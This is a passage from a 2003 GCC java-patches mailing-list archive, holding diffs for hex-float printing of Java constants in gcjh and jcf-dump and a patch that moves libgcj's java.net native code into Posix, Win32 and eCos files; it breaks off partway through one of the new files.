-#if (1 == HOST_FLOAT_WORDS_BIG_ENDIAN) && ! defined (HOST_WORDS_BIG_ENDIAN) -#define D_NAN_MASK 0x000000007ff00000LL -#else -#define D_NAN_MASK 0x7ff0000000000000LL -#endif - -/* Return 1 if F is not Inf or NaN. */ -static int -java_float_finite (jfloat f) +/* Print a single-precision float, suitable for parsing by g++. */ +static void +jni_print_float (FILE *stream, jfloat f) { - union Word u; - u.f = f; - - /* We happen to know that F_NAN_MASK will match all NaN values, and - also positive and negative infinity. That's why we only need one - test here. See The Java Language Specification, section 20.9. */ - return (u.i & F_NAN_MASK) != F_NAN_MASK; + /* It'd be nice to use __builtin_nan/__builtin_inf here but they don't + work in data initializers. FIXME. */ + if (JFLOAT_FINITE (f)) + { + fputs (" = ", stream); + if (f.negative) + putc ('-', stream); + if (f.exponent) + fprintf (stream, "0x1.%.6xp%+df", + ((unsigned int)f.mantissa) << 1, + f.exponent - JFLOAT_EXP_BIAS); + else + /* Exponent of 0x01 is -125; exponent of 0x00 is *also* -125, + because the implicit leading 1 bit is no longer present. */ + fprintf (stream, "0x0.%.6xp%+df", + ((unsigned int)f.mantissa) << 1, + f.exponent + 1 - JFLOAT_EXP_BIAS); + } + fputs (";\n", stream); } -/* Return 1 if D is not Inf or NaN. */ -static int -java_double_finite (jdouble d) +/* Print a double-precision float, suitable for parsing by g++. */ +static void +jni_print_double (FILE *stream, jdouble f) { - union DWord u; - u.d = d; - - /* Now check for all NaNs. */ - return (u.l & D_NAN_MASK) != D_NAN_MASK; + /* It'd be nice to use __builtin_nan/__builtin_inf here but they don't + work in data initializers. FIXME. */ + if (JDOUBLE_FINITE (f)) + { + fputs (" = ", stream); + if (f.negative) + putc ('-', stream); + if (f.exponent) + fprintf (stream, "0x1.%.5x%.8xp%+d", + f.mantissa0, f.mantissa1, + f.exponent - JDOUBLE_EXP_BIAS); + else + /* Exponent of 0x001 is -1022; exponent of 0x000 is *also* -1022, + because the implicit leading 1 bit is no longer present. */ + fprintf (stream, "0x0.%.5x%.8xp%+d", + f.mantissa0, f.mantissa1, + f.exponent + 1 - JDOUBLE_EXP_BIAS); + } + fputs (";\n", stream); } /* Print a character, appropriately mangled for JNI. */ @@ -732,10 +750,7 @@ print_field_info (FILE *stream, JCF* jcf jfloat fnum = JPOOL_FLOAT (jcf, current_field_value); fputs ("const jfloat ", out); print_field_name (out, jcf, name_index, 0); - if (! java_float_finite (fnum)) - fputs (";\n", out); - else - fprintf (out, " = %.10g;\n", fnum); + jni_print_float (out, fnum); } break; case CONSTANT_Double: @@ -743,10 +758,7 @@ print_field_info (FILE *stream, JCF* jcf jdouble dnum = JPOOL_DOUBLE (jcf, current_field_value); fputs ("const jdouble ", out); print_field_name (out, jcf, name_index, 0); - if (! java_double_finite (dnum)) - fputs (";\n", out); - else - fprintf (out, " = %.17g;\n", dnum); + jni_print_double (out, dnum); } break; default: =================================================================== Index: jcf-dump.c --- jcf-dump.c 18 Jan 2003 22:15:51 -0000 1.55 +++ jcf-dump.c 13 Mar 2003 21:07:10 -0000 @@ -62,6 +62,7 @@ The Free Software Foundation is independ #include "version.h" #include +#include /* Outout file. */ FILE *out; @@ -504,24 +505,67 @@ print_constant (FILE *out, JCF *jcf, int break; case CONSTANT_Float: { - union - { - jfloat f; - int32 i; - } pun; - - pun.f = JPOOL_FLOAT (jcf, index); - fprintf (out, "%s%.10g", - verbosity > 0 ? "Float " : "", (double) pun.f); + jfloat fnum = JPOOL_FLOAT (jcf, index); + + if (verbosity > 0) + fputs ("Float ", out); + + if (fnum.negative) + putc ('-', out); + + if (JFLOAT_FINITE (fnum)) + { + int dummy; + double f = frexp (fnum.mantissa, &dummy); + f = ldexp (f, fnum.exponent - JFLOAT_EXP_BIAS + 1); + fprintf (out, "%.10g", f); + } + else + { + if (fnum.mantissa == 0) + fputs ("Inf", out); + else if (fnum.mantissa & JFLOAT_QNAN_MASK) + fprintf (out, "QNaN(%u)", (fnum.mantissa & ~JFLOAT_QNAN_MASK)); + else + fprintf (out, "SNaN(%u)", (fnum.mantissa & ~JFLOAT_QNAN_MASK)); + } + if (verbosity > 1) - fprintf (out, ", bits = 0x%08lx", (long) pun.i); + fprintf (out, ", bits = 0x%08lx", JPOOL_UINT (jcf, index)); break; } case CONSTANT_Double: { jdouble dnum = JPOOL_DOUBLE (jcf, index); - fprintf (out, "%s%.20g", verbosity > 0 ? "Double " : "", dnum); + + if (verbosity > 0) + fputs ("Double ", out); + + if (dnum.negative) + putc ('-', out); + + if (JDOUBLE_FINITE (dnum)) + { + int dummy; + uint64 mantissa = ((((uint64) dnum.mantissa0) << 32) + + dnum.mantissa1); + double d = frexp (mantissa, &dummy); + d = ldexp (d, dnum.exponent - JDOUBLE_EXP_BIAS + 1); + fprintf (out, "%.20g", d); + } + else + { + uint64 mantissa = dnum.mantissa0 & ~JDOUBLE_QNAN_MASK; + mantissa = (mantissa << 32) + dnum.mantissa1; + + if (dnum.mantissa0 == 0 && dnum.mantissa1 == 0) + fputs ("Inf", out); + else if (dnum.mantissa0 & JDOUBLE_QNAN_MASK) + fprintf (out, "QNaN(%llu)", (unsigned long long)mantissa); + else + fprintf (out, "SNaN(%llu)", (unsigned long long)mantissa); + } if (verbosity > 1) { int32 hi, lo; From java-patches-return-6470-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 14 08:49:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3195 invoked by alias); 14 Mar 2003 08:49:25 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3065 invoked from network); 14 Mar 2003 08:49:24 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by sources.redhat.com with SMTP; 14 Mar 2003 08:49:24 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-174.ewetel.net [80.228.73.174]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2E8n9jL027861 for ; Fri, 14 Mar 2003 09:49:10 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18tkrR-0007Jn-00 for ; Fri, 14 Mar 2003 09:48:17 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: RFC: Moving native code in java.net into architecture dependant files Date: Fri, 14 Mar 2003 09:41:41 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_FXZc+zEf2DNWspm" Message-Id: <200303140941.41422.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_FXZc+zEf2DNWspm Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, Here is a patch which moves the native code of java.net into=20 architecture dependant files for better/easier maintaining, as=20 requested by several people. =46or the "posix" target the files are slightly edit versions of the=20 originals. Only the #ifdefs for "win32" are removed. =46or the "win32" target the files are same as before. Out Windows=20 specialists should take care of them. I dont know enough about it. =46or the "ecos" target (do we really need it ?) all methods are just=20 there. They are mostly throwing exceptions indicating they are=20 unimplemented. Some are just returning default values. Question: Is it useful to point to "ecos" for the native java.net code=20 when DISABLE_JAVA_NET is defined ? This would make the code in the=20 "posix" target a little bit clearer. Any ideas for this ? The attached patch doesnt remove the old files but they will be remove=20 when committing. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+cZXFWSOgCCdjSDsRAvaGAJwP+mmhjQMJTML/JqwpRvGpv3vHjgCgh1kQ LJflf3BdTW7522Km+jerC7U=3D =3DoYNA =2D----END PGP SIGNATURE----- --Boundary-00=_FXZc+zEf2DNWspm Content-Type: text/x-diff; charset="iso-8859-15"; name="arch.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="arch.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1774 diff -u -r1.1774 ChangeLog --- ChangeLog 11 Mar 2003 10:30:50 -0000 1.1774 +++ ChangeLog 14 Mar 2003 08:30:39 -0000 @@ -1,3 +1,20 @@ +2003-03-14 Michael Koch + + * configure.in: Create links to architecture dependent files. + * configure: Regenerated. + * java/net/natInetAddressEcos.cc, + java/net/natInetAddressPosix.cc, + java/net/natInetAddressWin32.cc, + java/net/natNetworkInterfaceEcos.cc, + java/net/natNetworkInterfacePosix.cc, + java/net/natNetworkInterfaceWin32.cc, + java/net/natPlainDatagramSocketImplEcos.cc, + java/net/natPlainDatagramSocketImplPosix.cc, + java/net/natPlainDatagramSocketImplWin32.cc, + java/net/natPlainSocketImplEcos.cc, + java/net/natPlainSocketImplPosix.cc, + java/net/natPlainSocketImplWin32.cc: New files. + 2003-03-11 Michael Koch * gnu/java/nio/ByteBufferImpl.java Index: configure.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.in,v retrieving revision 1.152 diff -u -r1.152 configure.in --- configure.in 2 Mar 2003 13:46:06 -0000 1.152 +++ configure.in 14 Mar 2003 08:30:40 -0000 @@ -269,6 +269,14 @@ AC_LINK_FILES(java/lang/${PLATFORM}Process.java, java/lang/ConcreteProcess.java) AC_LINK_FILES(java/lang/nat${PLATFORM}Process.cc, java/lang/natConcreteProcess.cc) +dnl Likewise for natInetAddress.cc, natNetworkInterface.cc, natPlainSocketImpl.cc +dnl and natPlainDatagramSocketImpl.cc +test -d java/net || mkdir java/net +AC_LINK_FILES(java/net/natInetAddress${PLATFORM}.cc, java/lang/natInetAddress.cc) +AC_LINK_FILES(java/net/natNetworkInterface${PLATFORM}.cc, java/lang/natNetworkInterface.cc) +AC_LINK_FILES(java/net/natPlainSocketImpl${PLATFORM}.cc, java/lang/natPlainSocketImpl.cc) +AC_LINK_FILES(java/net/natPlainDatagramSocketImpl${PLATFORM}.cc, java/lang/natPlainDatagramSocketImpl.cc) + case "${host}" in *mingw*) SYSTEMSPEC="-lgdi32 -lwsock32 -lws2_32" Index: configure =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure,v retrieving revision 1.170 diff -u -r1.170 configure --- configure 2 Mar 2003 13:46:05 -0000 1.170 +++ configure 14 Mar 2003 08:30:44 -0000 @@ -3206,6 +3206,12 @@ +test -d java/net || mkdir java/net + + + + + case "${host}" in *mingw*) SYSTEMSPEC="-lgdi32 -lwsock32 -lws2_32" @@ -9121,8 +9127,8 @@ EOF cat >> $CONFIG_STATUS <> $CONFIG_STATUS <<\EOF Index: java/net/natInetAddressEcos.cc =================================================================== RCS file: java/net/natInetAddressEcos.cc diff -N java/net/natInetAddressEcos.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natInetAddressEcos.cc 14 Mar 2003 08:30:44 -0000 @@ -0,0 +1,35 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include + +#include + +jbyteArray +java::net::InetAddress::aton (jstring) +{ + return NULL; +} + +jint +java::net::InetAddress::getFamily (jbyteArray bytes) +{ + return 0; +} + +JArray * +java::net::InetAddress::lookup (jstring, java::net::InetAddress *, jboolean) +{ + return NULL; +} + +jstring +java::net::InetAddress::getLocalHostname () +{ + return NULL; +} Index: java/net/natInetAddressPosix.cc =================================================================== RCS file: java/net/natInetAddressPosix.cc diff -N java/net/natInetAddressPosix.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natInetAddressPosix.cc 14 Mar 2003 08:30:44 -0000 @@ -0,0 +1,341 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include + +#ifdef HAVE_UNISTD_H +#include +#endif +#include +#include + +#include +#include +#ifdef HAVE_SYS_SOCKET_H +#include +#endif +#ifdef HAVE_NETINET_IN_H +#include +#endif +#ifdef HAVE_ARPA_INET_H +#include +#endif +#ifdef HAVE_NETDB_H +#include +#endif + +#include +#include +#include +#include +#include + +#if defined(HAVE_UNAME) && ! defined(HAVE_GETHOSTNAME) +#include +#endif + +#ifndef HAVE_GETHOSTNAME_DECL +extern "C" int gethostname (char *name, int namelen); +#endif + +#ifdef DISABLE_JAVA_NET + +jbyteArray +java::net::InetAddress::aton (jstring) +{ + return NULL; +} + +jint +java::net::InetAddress::getFamily (jbyteArray bytes) +{ + return 0; +} + +JArray * +java::net::InetAddress::lookup (jstring, java::net::InetAddress *, jboolean) +{ + return NULL; +} + +jstring +java::net::InetAddress::getLocalHostname () +{ + return NULL; +} + +#else /* DISABLE_JAVA_NET */ + +jbyteArray +java::net::InetAddress::aton (jstring host) +{ + char *hostname; + char buf[100]; + int len = JvGetStringUTFLength(host); + if (len < 100) + hostname = buf; + else + hostname = (char*) _Jv_AllocBytes (len+1); + JvGetStringUTFRegion (host, 0, host->length(), hostname); + buf[len] = '\0'; + char* bytes = NULL; + int blen = 0; +#ifdef HAVE_INET_ATON + struct in_addr laddr; + if (inet_aton (hostname, &laddr)) + { + bytes = (char*) &laddr; + blen = 4; + } +#elif defined(HAVE_INET_ADDR) +#if ! HAVE_IN_ADDR_T + typedef jint in_addr_t; +#endif + in_addr_t laddr = inet_addr (hostname); + if (laddr != (in_addr_t)(-1)) + { + bytes = (char*) &laddr; + blen = 4; + } +#endif +#if defined (HAVE_INET_PTON) && defined (HAVE_INET6) + char inet6_addr[16]; + if (len != 0 && inet_pton (AF_INET6, hostname, inet6_addr) > 0) + { + bytes = inet6_addr; + blen = 16; + } +#endif + if (blen == 0) + return NULL; + jbyteArray result = JvNewByteArray (blen); + memcpy (elements (result), bytes, blen); + return result; +} + +jint +java::net::InetAddress::getFamily (jbyteArray bytes) +{ + int len = bytes->length; + if (len == 4) + return AF_INET; +#ifdef HAVE_INET6 + else if (len == 16) + return AF_INET6; +#endif /* HAVE_INET6 */ + else + JvFail ("unrecognized size"); +} + + +JArray * +java::net::InetAddress::lookup (jstring host, java::net::InetAddress* iaddr, + jboolean all) +{ + struct hostent *hptr = NULL; +#if defined (HAVE_GETHOSTBYNAME_R) || defined (HAVE_GETHOSTBYADDR_R) + struct hostent hent_r; +#if HAVE_STRUCT_HOSTENT_DATA + struct hostent_data fixed_buffer, *buffer_r = &fixed_buffer; +#else +#if defined (__GLIBC__) + // FIXME: in glibc, gethostbyname_r returns NETDB_INTERNAL to herr and + // ERANGE to errno if the buffer size is too small, rather than what is + // expected here. We work around this by setting a bigger buffer size and + // hoping that it is big enough. + char fixed_buffer[1024]; +#else + char fixed_buffer[200]; +#endif + char *buffer_r = fixed_buffer; + int size_r = sizeof (fixed_buffer); +#endif +#endif + + if (host != NULL) + { + char *hostname; + char buf[100]; + int len = JvGetStringUTFLength(host); + if (len < 100) + hostname = buf; + else + hostname = (char*) _Jv_AllocBytes (len+1); + JvGetStringUTFRegion (host, 0, host->length(), hostname); + buf[len] = '\0'; +#ifdef HAVE_GETHOSTBYNAME_R + while (true) + { + int ok; +#if HAVE_STRUCT_HOSTENT_DATA + ok = ! gethostbyname_r (hostname, &hent_r, buffer_r); +#else + int herr = 0; +#ifdef GETHOSTBYNAME_R_RETURNS_INT + ok = ! gethostbyname_r (hostname, &hent_r, buffer_r, size_r, + &hptr, &herr); +#else + hptr = gethostbyname_r (hostname, &hent_r, buffer_r, size_r, &herr); + ok = hptr != NULL; +#endif /* GETHOSTNAME_R_RETURNS_INT */ + if (! ok && herr == ERANGE) + { + size_r *= 2; + buffer_r = (char *) _Jv_AllocBytes (size_r); + } + else +#endif /* HAVE_STRUCT_HOSTENT_DATA */ + break; + } +#else + // FIXME: this is insufficient if some other piece of code calls + // this gethostbyname. + JvSynchronize sync (java::net::InetAddress::localhostAddress); + hptr = gethostbyname (hostname); +#endif /* HAVE_GETHOSTBYNAME_R */ + } + else + { + jbyteArray bytes = iaddr->addr; + char *chars = (char*) elements (bytes); + int len = bytes->length; + int type; + char *val; + if (len == 4) + { + val = chars; + type = iaddr->family = AF_INET; + } +#ifdef HAVE_INET6 + else if (len == 16) + { + val = (char *) &chars; + type = iaddr->family = AF_INET6; + } +#endif /* HAVE_INET6 */ + else + JvFail ("unrecognized size"); + +#ifdef HAVE_GETHOSTBYADDR_R + while (true) + { + int ok; +#if HAVE_STRUCT_HOSTENT_DATA + ok = ! gethostbyaddr_r (val, len, type, &hent_r, buffer_r); +#else + int herr = 0; +#ifdef GETHOSTBYADDR_R_RETURNS_INT + ok = ! gethostbyaddr_r (val, len, type, &hent_r, + buffer_r, size_r, &hptr, &herr); +#else + hptr = gethostbyaddr_r (val, len, type, &hent_r, + buffer_r, size_r, &herr); + ok = hptr != NULL; +#endif /* GETHOSTBYADDR_R_RETURNS_INT */ + if (! ok && herr == ERANGE) + { + size_r *= 2; + buffer_r = (char *) _Jv_AllocBytes (size_r); + } + else +#endif /* HAVE_STRUCT_HOSTENT_DATA */ + break; + } +#else /* HAVE_GETHOSTBYADDR_R */ + // FIXME: this is insufficient if some other piece of code calls + // this gethostbyaddr. + JvSynchronize sync (java::net::InetAddress::localhostAddress); + hptr = gethostbyaddr (val, len, type); +#endif /* HAVE_GETHOSTBYADDR_R */ + } + if (hptr != NULL) + { + if (!all) + host = JvNewStringUTF (hptr->h_name); + java::lang::SecurityException *ex = checkConnect (host); + if (ex != NULL) + { + if (iaddr == NULL || iaddr->addr == NULL) + throw ex; + hptr = NULL; + } + } + if (hptr == NULL) + { + if (iaddr != NULL && iaddr->addr != NULL) + { + iaddr->hostName = iaddr->getHostAddress(); + return NULL; + } + else + throw new java::net::UnknownHostException(host); + } + int count; + if (all) + { + char** ptr = hptr->h_addr_list; + count = 0; + while (*ptr++) count++; + } + else + count = 1; + JArray *result; + java::net::InetAddress** iaddrs; + if (all) + { + result = java::net::InetAddress::allocArray (count); + iaddrs = elements (result); + } + else + { + result = NULL; + iaddrs = &iaddr; + } + + for (int i = 0; i < count; i++) + { + if (iaddrs[i] == NULL) + iaddrs[i] = new java::net::InetAddress (NULL, NULL); + if (iaddrs[i]->hostName == NULL) + iaddrs[i]->hostName = host; + if (iaddrs[i]->addr == NULL) + { + char *bytes = hptr->h_addr_list[i]; + iaddrs[i]->addr = JvNewByteArray (hptr->h_length); + iaddrs[i]->family = getFamily (iaddrs[i]->addr); + memcpy (elements (iaddrs[i]->addr), bytes, hptr->h_length); + } + } + return result; +} + +jstring +java::net::InetAddress::getLocalHostname () +{ + char *chars; +#ifdef HAVE_GETHOSTNAME + char buffer[MAXHOSTNAMELEN]; + if (gethostname (buffer, MAXHOSTNAMELEN)) + return NULL; + chars = buffer; +#elif HAVE_UNAME + struct utsname stuff; + if (uname (&stuff) != 0) + return NULL; + chars = stuff.nodename; +#else + return NULL; +#endif + // It is admittedly non-optimal to convert the hostname to Unicode + // only to convert it back in getByName, but simplicity wins. Note + // that unless there is a SecurityManager, we only get called once + // anyway, thanks to the InetAddress.localhost cache. + return JvNewStringUTF (chars); +} + +#endif /* DISABLE_JAVA_NET */ Index: java/net/natInetAddressWin32.cc =================================================================== RCS file: java/net/natInetAddressWin32.cc diff -N java/net/natInetAddressWin32.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natInetAddressWin32.cc 14 Mar 2003 08:30:44 -0000 @@ -0,0 +1,355 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include + +#ifdef WIN32 + +#include +#include +#undef STRICT + +#ifndef MAXHOSTNAMELEN +#define MAXHOSTNAMELEN 64 +#endif /* MAXHOSTNAMELEN */ + +#else /* WIN32 */ + +#ifdef HAVE_UNISTD_H +#include +#endif +#include +#include + +#include +#include +#ifdef HAVE_SYS_SOCKET_H +#include +#endif +#ifdef HAVE_NETINET_IN_H +#include +#endif +#ifdef HAVE_ARPA_INET_H +#include +#endif +#ifdef HAVE_NETDB_H +#include +#endif + +#endif /* WIN32 */ + +#include +#include +#include +#include +#include + +#if defined(HAVE_UNAME) && ! defined(HAVE_GETHOSTNAME) +#include +#endif + +#ifndef HAVE_GETHOSTNAME_DECL +extern "C" int gethostname (char *name, int namelen); +#endif + +#ifdef DISABLE_JAVA_NET + +jbyteArray +java::net::InetAddress::aton (jstring) +{ + return NULL; +} + +jint +java::net::InetAddress::getFamily (jbyteArray bytes) +{ + return 0; +} + +JArray * +java::net::InetAddress::lookup (jstring, java::net::InetAddress *, jboolean) +{ + return NULL; +} + +jstring +java::net::InetAddress::getLocalHostname () +{ + return NULL; +} + +#else /* DISABLE_JAVA_NET */ + +jbyteArray +java::net::InetAddress::aton (jstring host) +{ + char *hostname; + char buf[100]; + int len = JvGetStringUTFLength(host); + if (len < 100) + hostname = buf; + else + hostname = (char*) _Jv_AllocBytes (len+1); + JvGetStringUTFRegion (host, 0, host->length(), hostname); + buf[len] = '\0'; + char* bytes = NULL; + int blen = 0; +#ifdef HAVE_INET_ATON + struct in_addr laddr; + if (inet_aton (hostname, &laddr)) + { + bytes = (char*) &laddr; + blen = 4; + } +#elif defined(HAVE_INET_ADDR) +#if ! HAVE_IN_ADDR_T + typedef jint in_addr_t; +#endif + in_addr_t laddr = inet_addr (hostname); + if (laddr != (in_addr_t)(-1)) + { + bytes = (char*) &laddr; + blen = 4; + } +#endif +#if defined (HAVE_INET_PTON) && defined (HAVE_INET6) + char inet6_addr[16]; + if (len != 0 && inet_pton (AF_INET6, hostname, inet6_addr) > 0) + { + bytes = inet6_addr; + blen = 16; + } +#endif + if (blen == 0) + return NULL; + jbyteArray result = JvNewByteArray (blen); + memcpy (elements (result), bytes, blen); + return result; +} + +jint +java::net::InetAddress::getFamily (jbyteArray bytes) +{ + int len = bytes->length; + if (len == 4) + return AF_INET; +#ifdef HAVE_INET6 + else if (len == 16) + return AF_INET6; +#endif /* HAVE_INET6 */ + else + JvFail ("unrecognized size"); +} + + +JArray * +java::net::InetAddress::lookup (jstring host, java::net::InetAddress* iaddr, + jboolean all) +{ + struct hostent *hptr = NULL; +#if defined (HAVE_GETHOSTBYNAME_R) || defined (HAVE_GETHOSTBYADDR_R) + struct hostent hent_r; +#if HAVE_STRUCT_HOSTENT_DATA + struct hostent_data fixed_buffer, *buffer_r = &fixed_buffer; +#else +#if defined (__GLIBC__) + // FIXME: in glibc, gethostbyname_r returns NETDB_INTERNAL to herr and + // ERANGE to errno if the buffer size is too small, rather than what is + // expected here. We work around this by setting a bigger buffer size and + // hoping that it is big enough. + char fixed_buffer[1024]; +#else + char fixed_buffer[200]; +#endif + char *buffer_r = fixed_buffer; + int size_r = sizeof (fixed_buffer); +#endif +#endif + + if (host != NULL) + { + char *hostname; + char buf[100]; + int len = JvGetStringUTFLength(host); + if (len < 100) + hostname = buf; + else + hostname = (char*) _Jv_AllocBytes (len+1); + JvGetStringUTFRegion (host, 0, host->length(), hostname); + buf[len] = '\0'; +#ifdef HAVE_GETHOSTBYNAME_R + while (true) + { + int ok; +#if HAVE_STRUCT_HOSTENT_DATA + ok = ! gethostbyname_r (hostname, &hent_r, buffer_r); +#else + int herr = 0; +#ifdef GETHOSTBYNAME_R_RETURNS_INT + ok = ! gethostbyname_r (hostname, &hent_r, buffer_r, size_r, + &hptr, &herr); +#else + hptr = gethostbyname_r (hostname, &hent_r, buffer_r, size_r, &herr); + ok = hptr != NULL; +#endif /* GETHOSTNAME_R_RETURNS_INT */ + if (! ok && herr == ERANGE) + { + size_r *= 2; + buffer_r = (char *) _Jv_AllocBytes (size_r); + } + else +#endif /* HAVE_STRUCT_HOSTENT_DATA */ + break; + } +#else + // FIXME: this is insufficient if some other piece of code calls + // this gethostbyname. + JvSynchronize sync (java::net::InetAddress::localhostAddress); + hptr = gethostbyname (hostname); +#endif /* HAVE_GETHOSTBYNAME_R */ + } + else + { + jbyteArray bytes = iaddr->addr; + char *chars = (char*) elements (bytes); + int len = bytes->length; + int type; + char *val; + if (len == 4) + { + val = chars; + type = iaddr->family = AF_INET; + } +#ifdef HAVE_INET6 + else if (len == 16) + { + val = (char *) &chars; + type = iaddr->family = AF_INET6; + } +#endif /* HAVE_INET6 */ + else + JvFail ("unrecognized size"); + +#ifdef HAVE_GETHOSTBYADDR_R + while (true) + { + int ok; +#if HAVE_STRUCT_HOSTENT_DATA + ok = ! gethostbyaddr_r (val, len, type, &hent_r, buffer_r); +#else + int herr = 0; +#ifdef GETHOSTBYADDR_R_RETURNS_INT + ok = ! gethostbyaddr_r (val, len, type, &hent_r, + buffer_r, size_r, &hptr, &herr); +#else + hptr = gethostbyaddr_r (val, len, type, &hent_r, + buffer_r, size_r, &herr); + ok = hptr != NULL; +#endif /* GETHOSTBYADDR_R_RETURNS_INT */ + if (! ok && herr == ERANGE) + { + size_r *= 2; + buffer_r = (char *) _Jv_AllocBytes (size_r); + } + else +#endif /* HAVE_STRUCT_HOSTENT_DATA */ + break; + } +#else /* HAVE_GETHOSTBYADDR_R */ + // FIXME: this is insufficient if some other piece of code calls + // this gethostbyaddr. + JvSynchronize sync (java::net::InetAddress::localhostAddress); + hptr = gethostbyaddr (val, len, type); +#endif /* HAVE_GETHOSTBYADDR_R */ + } + if (hptr != NULL) + { + if (!all) + host = JvNewStringUTF (hptr->h_name); + java::lang::SecurityException *ex = checkConnect (host); + if (ex != NULL) + { + if (iaddr == NULL || iaddr->addr == NULL) + throw ex; + hptr = NULL; + } + } + if (hptr == NULL) + { + if (iaddr != NULL && iaddr->addr != NULL) + { + iaddr->hostName = iaddr->getHostAddress(); + return NULL; + } + else + throw new java::net::UnknownHostException(host); + } + int count; + if (all) + { + char** ptr = hptr->h_addr_list; + count = 0; + while (*ptr++) count++; + } + else + count = 1; + JArray *result; + java::net::InetAddress** iaddrs; + if (all) + { + result = java::net::InetAddress::allocArray (count); + iaddrs = elements (result); + } + else + { + result = NULL; + iaddrs = &iaddr; + } + + for (int i = 0; i < count; i++) + { + if (iaddrs[i] == NULL) + iaddrs[i] = new java::net::InetAddress (NULL, NULL); + if (iaddrs[i]->hostName == NULL) + iaddrs[i]->hostName = host; + if (iaddrs[i]->addr == NULL) + { + char *bytes = hptr->h_addr_list[i]; + iaddrs[i]->addr = JvNewByteArray (hptr->h_length); + iaddrs[i]->family = getFamily (iaddrs[i]->addr); + memcpy (elements (iaddrs[i]->addr), bytes, hptr->h_length); + } + } + return result; +} + +jstring +java::net::InetAddress::getLocalHostname () +{ + char *chars; +#ifdef HAVE_GETHOSTNAME + char buffer[MAXHOSTNAMELEN]; + if (gethostname (buffer, MAXHOSTNAMELEN)) + return NULL; + chars = buffer; +#elif HAVE_UNAME + struct utsname stuff; + if (uname (&stuff) != 0) + return NULL; + chars = stuff.nodename; +#else + return NULL; +#endif + // It is admittedly non-optimal to convert the hostname to Unicode + // only to convert it back in getByName, but simplicity wins. Note + // that unless there is a SecurityManager, we only get called once + // anyway, thanks to the InetAddress.localhost cache. + return JvNewStringUTF (chars); +} + +#endif /* DISABLE_JAVA_NET */ Index: java/net/natNetworkInterfaceEcos.cc =================================================================== RCS file: java/net/natNetworkInterfaceEcos.cc diff -N java/net/natNetworkInterfaceEcos.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natNetworkInterfaceEcos.cc 14 Mar 2003 08:30:44 -0000 @@ -0,0 +1,21 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#include +#include +#include + +::java::util::Vector* +java::net::NetworkInterface::getRealNetworkInterfaces () +{ + throw new SocketException ( + JvNewStringLatin1 ("NetworkInterface.getrealNetworkInterfaces: unimplemented")); +} Index: java/net/natNetworkInterfacePosix.cc =================================================================== RCS file: java/net/natNetworkInterfacePosix.cc diff -N java/net/natNetworkInterfacePosix.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natNetworkInterfacePosix.cc 14 Mar 2003 08:30:44 -0000 @@ -0,0 +1,128 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#ifdef HAVE_UNISTD_H +#include +#endif +#include +#include +#include + +#include +#include +#ifdef HAVE_NETINET_IN_H +#include +#endif +#ifdef HAVE_ARPA_INET_H +#include +#endif +#ifdef HAVE_NETDB_H +#include +#endif +#ifdef HAVE_SYS_IOCTL_H +#define BSD_COMP /* Get FIONREAD on Solaris2. */ +#include +#endif +#ifdef HAVE_NET_IF_H +#include +#endif + +#include +#include +#include +#include +#include +#include + +#ifdef DISABLE_JAVA_NET + +::java::util::Vector* +java::net::NetworkInterface::getRealNetworkInterfaces () +{ + ::java::util::Vector* ht = new ::java::util::Vector(); + return ht; +} + +#else /* DISABLE_JAVA_NET */ + +::java::util::Vector* +java::net::NetworkInterface::getRealNetworkInterfaces () +{ + int fd; + int num_interfaces = 0; + struct ifconf if_data; + struct ifreq* if_record; + ::java::util::Vector* ht = new ::java::util::Vector (); + + if_data.ifc_len = 0; + if_data.ifc_buf = NULL; + + // Open a (random) socket to have a file descriptor for the ioctl calls. + fd = _Jv_socket (PF_INET, SOCK_DGRAM, htons (IPPROTO_IP)); + + if (fd < 0) + throw new ::java::net::SocketException; + + // Get all interfaces. If not enough buffers are available try it + // with 